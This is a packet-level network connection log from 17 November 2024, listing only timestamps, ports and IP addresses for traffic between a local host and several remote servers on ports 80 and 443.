Nov 17, 2024 12:35:13.113378048 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113428116 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113468885 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113471985 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113493919 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113504887 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113511086 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113528013 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113543987 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113554001 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113575935 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113744020 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113756895 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113789082 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113806963 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113900900 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113926888 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113944054 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.113946915 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113969088 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.113981009 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114029884 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114074945 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114180088 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114206076 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114223003 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114239931 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114389896 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114404917 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114420891 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114437103 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114451885 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114475012 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114558935 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114573956 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114588022 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.114603043 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114619017 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.114640951 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.152702093 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.152760029 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.152774096 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.152801037 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.152816057 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.152815104 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.152815104 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.152906895 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.152906895 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.152909994 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.152961016 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.153011084 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.153027058 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.153063059 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.153096914 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.153146029 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.153197050 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.153249025 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.153300047 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.153312922 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.153328896 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.153363943 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.153397083 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.205805063 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.205882072 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206047058 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206062078 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206078053 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206093073 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206110954 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206110954 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206151009 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206327915 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206342936 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206358910 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206373930 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206383944 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206382990 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206403971 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206427097 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206557035 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206604958 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206811905 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206826925 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206841946 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206857920 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206861019 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206873894 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206888914 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206888914 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206891060 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.206916094 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.206943035 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207267046 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207281113 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207299948 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207333088 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207334995 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207334995 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207334995 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207353115 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207377911 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207400084 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207685947 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207700968 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207715988 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207734108 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207734108 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207776070 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207776070 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207777023 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.207964897 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207979918 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.207994938 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.208009958 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.208045006 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.208045006 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:13.230756998 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:13.230946064 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:15.262422085 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:15.262648106 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:15.927763939 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:15.927814960 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:15.927879095 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:15.928369999 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:15.928388119 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:16.791971922 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:16.798254013 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:16.798266888 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:16.799737930 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:16.799817085 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:16.806745052 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:16.806909084 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:16.806941032 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:16.847345114 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:16.861709118 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:16.861747026 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:16.908584118 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.083738089 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.083807945 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.083836079 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.083909035 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.083945990 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.084533930 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.085871935 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.131505966 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.206410885 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.206494093 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.206676960 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.586443901 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.586549044 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.586658955 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.587081909 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.587111950 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.603770018 CET	49709	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.603806973 CET	443	49709	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.894460917 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.894498110 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.894603014 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.894932032 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.894973040 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.894993067 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.895019054 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:17.895112038 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.895231009 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:17.895253897 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.394876003 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:18.394953966 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:18.395026922 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:18.396641970 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:18.396683931 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:18.438407898 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.438700914 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.438730955 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.439197063 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.440102100 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.440186024 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.440263033 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.483335018 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.712441921 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.745824099 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.759788990 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.759818077 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.759862900 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.783977985 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.783988953 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.784332037 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.784365892 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.784950972 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.785151005 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.785233021 CET	443	49712	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.785296917 CET	49712	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.785773993 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.785852909 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.786143064 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.787764072 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.787851095 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.788319111 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.788495064 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.788503885 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.831334114 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.831511021 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.831520081 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:18.875654936 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:18.972183943 CET	49703	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:18.972287893 CET	49703	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:18.972755909 CET	49719	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:18.972803116 CET	443	49719	23.1.237.91	192.168.2.5
Nov 17, 2024 12:35:18.973083019 CET	49719	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:18.973368883 CET	49719	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:18.973390102 CET	443	49719	23.1.237.91	192.168.2.5
Nov 17, 2024 12:35:18.977190971 CET	443	49703	23.1.237.91	192.168.2.5
Nov 17, 2024 12:35:18.977296114 CET	443	49703	23.1.237.91	192.168.2.5
Nov 17, 2024 12:35:19.075769901 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.081758976 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.081824064 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.081867933 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.081882954 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.081954002 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.081995964 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.082003117 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.082230091 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.082276106 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.082282066 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.090678930 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.090735912 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.090740919 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.128876925 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.128906012 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.129945040 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.130229950 CET	443	49714	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.130295992 CET	49714	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.144929886 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.144939899 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.197959900 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.199116945 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.199191093 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.199238062 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.199249029 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.201416016 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.201477051 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.201483965 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.207896948 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.207950115 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.207956076 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.214365959 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.214430094 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.214436054 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.256714106 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:19.256788969 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:19.259732962 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:19.259738922 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:19.260067940 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:19.268908024 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.268918991 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.302297115 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:19.316318989 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.316389084 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.316405058 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.318609953 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.318665028 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.318671942 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.320950985 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.321007967 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.321014881 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.325117111 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.325182915 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.325189114 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.331506014 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.331588984 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.331594944 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.374001980 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.374174118 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.374180079 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.421895981 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.433566093 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.435833931 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.435879946 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.435889006 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.438051939 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.438098907 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.438105106 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.442162991 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.442208052 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.442214012 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.453442097 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.453500986 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.453505993 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.491579056 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.491645098 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.491652012 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.534852028 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.550754070 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.554879904 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.554963112 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.555182934 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.555192947 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.555239916 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.557229042 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.557317972 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.557368040 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.557374001 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.566200018 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.566241026 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.566420078 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.566428900 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.566473961 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.570782900 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.608746052 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.608866930 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.608875990 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.647005081 CET	443	49719	23.1.237.91	192.168.2.5
Nov 17, 2024 12:35:19.647130013 CET	49719	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:19.659765959 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.668185949 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.672224045 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.672478914 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.672487020 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.674560070 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.676783085 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.676839113 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.676846027 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.682399988 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.682406902 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.683348894 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.683409929 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.683414936 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.726495028 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.727507114 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.727515936 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.727571964 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.769582033 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.799899101 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.799937010 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.800013065 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.800024033 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.800162077 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.800211906 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.800218105 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.800260067 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.801034927 CET	443	49713	142.250.74.196	192.168.2.5
